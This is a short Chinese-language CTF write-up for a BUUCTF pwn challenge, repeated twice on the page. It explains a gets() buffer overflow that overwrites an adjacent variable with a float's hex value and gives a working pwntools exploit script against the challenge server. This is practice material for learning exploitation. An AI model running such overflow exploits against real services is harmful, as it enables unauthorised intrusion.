话不多说,直接上题(BUUCTF)
IDA64 反编译
追踪看到 gets
v1 的下面就是 v2,通过溢出改为 v2 的值使条件成立
注意:浮点数要转十六进制
from pwn import *
p = remote("node5.buuoj.cn", 29455)
payload = b'a' * 44 + p64(0x41348000)
p.sendline(payload)
p.interactive()
拿到 flag
© 版权声明
THE END
话不多说,直接上题(BUUCTF)
IDA64 反编译
追踪看到 gets
v1 的下面就是 v2,通过溢出改为 v2 的值使条件成立
注意:浮点数要转十六进制
from pwn import *
p = remote("node5.buuoj.cn", 29455)
payload = b'a' * 44 + p64(0x41348000)
p.sendline(payload)
p.interactive()
拿到 flag
暂无评论内容